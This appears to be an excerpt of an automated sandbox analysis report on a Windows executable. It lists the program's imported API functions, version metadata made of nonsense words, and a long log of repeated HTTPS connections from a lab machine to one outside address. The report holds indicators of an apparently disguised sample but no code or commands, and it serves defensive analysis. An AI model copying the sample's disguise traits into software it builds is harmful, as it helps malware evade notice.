USER32.dll	GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, CreateFileW, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

Version Infos

Description	Data
LegalCopyright	Premoltbrevvek
FileVersion	9.21.27
CompanyName	Zincl
LegalTrademarks	Blepharocol
Comments	lasciv
ProductName	Akseltap182
FileDescription	Bagepulveretsu254
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2022 15:29:16.229190111 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:16.229260921 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:16.229892969 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:16.253274918 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:16.253319979 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:16.309000969 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:16.309259892 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:16.310614109 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:16.310800076 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:16.420459032 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:16.420488119 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:16.420995951 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:16.421143055 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:16.424530983 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:16.467999935 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:23.410064936 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:23.410218954 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.410270929 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:23.410433054 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:23.410481930 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.410578966 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.410669088 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.410705090 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:23.631381035 CEST	49755	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.631503105 CEST	443	49755	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:23.631784916 CEST	49755	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.632014990 CEST	49755	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.632060051 CEST	443	49755	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:23.665429115 CEST	443	49755	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:23.665654898 CEST	49755	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.665967941 CEST	49755	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.666099072 CEST	49755	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.666344881 CEST	443	49755	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:32.079433918 CEST	443	49755	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:32.079588890 CEST	443	49755	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:32.079854012 CEST	49755	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:32.080050945 CEST	49755	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:32.080084085 CEST	443	49755	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:32.286062956 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:32.286111116 CEST	443	49756	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:32.286339045 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:32.286813021 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:32.286839008 CEST	443	49756	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:32.322854042 CEST	443	49756	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:32.323096991 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:32.323513031 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:32.323682070 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:32.323853970 CEST	443	49756	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:41.486867905 CEST	443	49756	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:41.487034082 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.487088919 CEST	443	49756	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:41.487133980 CEST	443	49756	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:41.487296104 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.487365961 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.487412930 CEST	443	49756	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:41.737071991 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.737154007 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:41.737309933 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.737714052 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.737746000 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:41.771506071 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:41.771723986 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.772106886 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.772283077 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.772387028 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.372033119 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.372185946 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.372246981 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.372437954 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.372481108 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.372584105 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.372714043 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.372805119 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.372858047 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.484947920 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.485039949 CEST	443	49764	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.485321045 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.485534906 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.485580921 CEST	443	49764	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.522346020 CEST	443	49764	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.522557974 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.522874117 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.523063898 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.523245096 CEST	443	49764	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:56.742300034 CEST	443	49764	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:56.742558956 CEST	443	49764	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:56.742719889 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:56.743062973 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:56.743135929 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:56.743195057 CEST	443	49764	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:57.030141115 CEST	49766	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:57.030257940 CEST	443	49766	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:57.030420065 CEST	49766	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:57.030787945 CEST	49766	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:57.030853987 CEST	443	49766	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:57.063716888 CEST	443	49766	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:57.063949108 CEST	49766	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:57.064419985 CEST	49766	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:57.064729929 CEST	49766	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:57.064831972 CEST	443	49766	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:05.737911940 CEST	443	49766	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:05.738090992 CEST	49766	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:05.738136053 CEST	443	49766	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:05.738296986 CEST	443	49766	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:05.738317013 CEST	49766	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:05.738384962 CEST	49766	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:05.738415003 CEST	443	49766	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:05.738475084 CEST	49766	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:05.738548994 CEST	49766	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:05.996848106 CEST	49768	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:05.996951103 CEST	443	49768	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:05.997163057 CEST	49768	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:05.997433901 CEST	49768	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:05.997483015 CEST	443	49768	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:06.032769918 CEST	443	49768	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:06.032938004 CEST	49768	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:06.033274889 CEST	49768	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:06.033782959 CEST	49768	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:06.033886909 CEST	443	49768	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:15.813869953 CEST	443	49768	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:15.814090967 CEST	49768	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:15.814189911 CEST	443	49768	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:15.814270973 CEST	443	49768	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:15.814395905 CEST	49768	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:15.814452887 CEST	49768	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:15.814496994 CEST	49768	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:15.814557076 CEST	443	49768	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:16.073687077 CEST	49770	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:16.073776007 CEST	443	49770	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:16.073976994 CEST	49770	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:16.074395895 CEST	49770	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:16.074455023 CEST	443	49770	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:16.111790895 CEST	443	49770	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:16.112083912 CEST	49770	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:16.112804890 CEST	49770	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:16.113198996 CEST	49770	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:16.113219976 CEST	443	49770	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:23.806340933 CEST	443	49770	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:23.806407928 CEST	443	49770	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:23.806716919 CEST	49770	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:23.806984901 CEST	49770	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:23.806998014 CEST	443	49770	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:24.024271011 CEST	49771	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:24.024400949 CEST	443	49771	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:24.024677038 CEST	49771	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:24.025024891 CEST	49771	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:24.025089979 CEST	443	49771	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:24.062539101 CEST	443	49771	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:24.062709093 CEST	49771	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:24.063025951 CEST	49771	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:24.063503027 CEST	49771	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:24.063672066 CEST	443	49771	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:29.913929939 CEST	443	49771	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:29.914160967 CEST	443	49771	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:29.914176941 CEST	49771	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:29.914447069 CEST	49771	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:29.914499998 CEST	49771	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:29.914546013 CEST	443	49771	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:30.195398092 CEST	49773	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:30.195477009 CEST	443	49773	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:30.195691109 CEST	49773	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:30.196329117 CEST	49773	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:30.196391106 CEST	443	49773	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:30.231568098 CEST	443	49773	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:30.231828928 CEST	49773	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:30.232527971 CEST	49773	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:30.232742071 CEST	49773	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:30.232916117 CEST	443	49773	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:36.178734064 CEST	443	49773	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:36.178992987 CEST	49773	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:36.179042101 CEST	443	49773	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:36.179114103 CEST	443	49773	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:36.179322004 CEST	49773	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:36.179382086 CEST	49773	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:36.179433107 CEST	443	49773	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:36.412209034 CEST	49774	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:36.412282944 CEST	443	49774	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:36.412435055 CEST	49774	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:36.412727118 CEST	49774	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:36.412764072 CEST	443	49774	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:36.448327065 CEST	443	49774	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:36.448508024 CEST	49774	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:36.448905945 CEST	49774	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:36.449115992 CEST	49774	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:36.449332952 CEST	443	49774	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:41.592219114 CEST	443	49774	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:41.592456102 CEST	49774	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:41.592493057 CEST	443	49774	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:41.592529058 CEST	443	49774	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:41.592679977 CEST	49774	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:41.592787027 CEST	49774	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:41.592819929 CEST	443	49774	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:41.707743883 CEST	49775	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:41.707818031 CEST	443	49775	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:41.707983017 CEST	49775	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:41.708264112 CEST	49775	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:41.708298922 CEST	443	49775	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:41.743066072 CEST	443	49775	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:41.743283987 CEST	49775	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:41.743554115 CEST	49775	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:41.743751049 CEST	49775	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:41.743880033 CEST	443	49775	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:50.387036085 CEST	443	49775	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:50.387228012 CEST	49775	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:50.387276888 CEST	443	49775	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:50.387362957 CEST	443	49775	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:50.387511969 CEST	49775	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:50.387599945 CEST	49775	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:50.387641907 CEST	443	49775	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:50.627543926 CEST	49776	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:50.627629995 CEST	443	49776	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:50.627815962 CEST	49776	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:50.628145933 CEST	49776	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:50.628177881 CEST	443	49776	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:50.663476944 CEST	443	49776	142.250.186.174	192.168.11.20
Apr 20, 2022 15:30:50.663638115 CEST	49776	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:50.663954020 CEST	49776	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:50.664242983 CEST	49776	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:30:50.664285898 CEST	443	49776	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:00.715744019 CEST	443	49776	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:00.715929031 CEST	49776	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:00.716022015 CEST	443	49776	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:00.716200113 CEST	49776	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:00.716255903 CEST	443	49776	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:00.716429949 CEST	49776	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:00.716455936 CEST	443	49776	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:00.716614962 CEST	49776	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:00.716653109 CEST	443	49776	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:00.716662884 CEST	49776	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:00.985400915 CEST	49778	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:00.985480070 CEST	443	49778	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:00.985702038 CEST	49778	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:00.986316919 CEST	49778	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:00.986371994 CEST	443	49778	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:01.021837950 CEST	443	49778	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:01.022069931 CEST	49778	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:01.022425890 CEST	49778	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:01.022645950 CEST	49778	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:01.022753954 CEST	443	49778	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:08.980222940 CEST	443	49778	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:08.980453968 CEST	49778	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:08.980487108 CEST	443	49778	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:08.980801105 CEST	49778	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:08.980853081 CEST	49778	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:08.980897903 CEST	443	49778	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:09.217448950 CEST	49779	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:09.217555046 CEST	443	49779	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:09.217793941 CEST	49779	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:09.218101978 CEST	49779	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:09.218149900 CEST	443	49779	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:09.254513025 CEST	443	49779	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:09.254755974 CEST	49779	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:09.255048037 CEST	49779	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:09.255222082 CEST	49779	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:09.255362034 CEST	443	49779	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:17.948426008 CEST	443	49779	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:17.948658943 CEST	49779	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:17.948710918 CEST	443	49779	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:17.948824883 CEST	443	49779	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:17.949053049 CEST	49779	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:17.949083090 CEST	49779	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:17.949107885 CEST	443	49779	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:17.949115038 CEST	49779	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:18.215672970 CEST	49780	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:18.215786934 CEST	443	49780	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:18.216027021 CEST	49780	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:18.216320992 CEST	49780	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:18.216381073 CEST	443	49780	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:18.251638889 CEST	443	49780	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:18.251883030 CEST	49780	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:18.252295971 CEST	49780	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:18.252475023 CEST	49780	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:18.252707005 CEST	443	49780	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:23.706185102 CEST	443	49780	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:23.706356049 CEST	49780	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:23.706414938 CEST	443	49780	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:23.706496954 CEST	443	49780	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:23.706617117 CEST	49780	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:23.706657887 CEST	49780	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:23.706804037 CEST	49780	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:23.706857920 CEST	443	49780	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:23.948668003 CEST	49782	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:23.948791027 CEST	443	49782	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:23.948967934 CEST	49782	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:23.949305058 CEST	49782	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:23.949346066 CEST	443	49782	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:23.988837004 CEST	443	49782	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:23.989077091 CEST	49782	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:23.989285946 CEST	49782	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:23.989315033 CEST	443	49782	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:23.989530087 CEST	49782	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:23.989576101 CEST	443	49782	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:32.554546118 CEST	443	49782	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:32.554641962 CEST	443	49782	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:32.554836035 CEST	49782	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:32.554991961 CEST	49782	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:32.555274010 CEST	49782	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:32.555286884 CEST	443	49782	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:32.775258064 CEST	49783	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:32.775337934 CEST	443	49783	142.250.186.174	192.168.11.20
Apr 20, 2022 15:31:32.775666952 CEST	49783	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:31:32.775957108 CEST	49783	443	192.168.11.20	142.250.186.174
